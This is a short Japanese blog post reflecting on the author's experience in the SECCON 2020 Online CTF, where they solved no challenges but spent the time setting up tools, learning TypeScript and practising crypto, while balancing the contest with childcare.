st98さんのwriteupも参考にさせていただきました!
SECCON 2020 Online CTF の write-up - st98 の日記帳

感想などなど

いやー1問も解けなかった。
競技期間中は、動かなくなってしまっていたsageがとりあえず動くようにしたり、ruby環境を最新にアップデートしたり、無駄にx-code入れてみたりした。競技前にちゃんと環境を確認して準備しておかないと、環境整備で終わってしまうことを痛感。

あとは、TypeScript(そもそもJavaScriptから)に入門しないとなーと思ってたところにゴリゴリType/JavaScript系の新しめの機能(hard-private)の問題が出たので、そこを切り口に入門したり新機能の穴がないかを探したりしてました。
また、最近ご無沙汰していたCrypto関連もあの手この手を試したりして、自分の手数が増えてることを実感できてよかったです。まぁ解けなかったんだけども。ググってばっかりじゃなくて、ちゃんとlocalで手を動かして検証しながら問題に取り組めるだけでも、大きな進歩だ。

いずれにせよ、睡眠時間削った分くらいは濃厚な時間が過ごせたので本当に良かった。去年までだと、QRコードにひたすらゴマ塩(ノイズ)を振りかける虚無をしていたり、力技でゴリゴリスクリプト書いて解くやつをひたすら時間かけてやったり、CTFの知識がなくてもちょっと手が出せそうなやつがあったのでそれにほぼ時間を割いていました。今年はそういうのなくなっていて、結局Flagは通せなかったものの、頭を捻って考える時間が増えて有意義な時間を過ごせたように思います。土日でも子供のお世話は普通にあるし、せっかく捻出した数時間を虚無で過ごしたくないので、この傾向の変化はとても嬉しかった。
まぁこれまでもそういう問題だけに取り組めばよかったんだけど、どうしてもできそうなのがあればFlagを通すことを優先してしまうので…。

Crypto分野は配布ファイルのみなので(多分)、この後サーバーが落ちた後も細々復習したいな。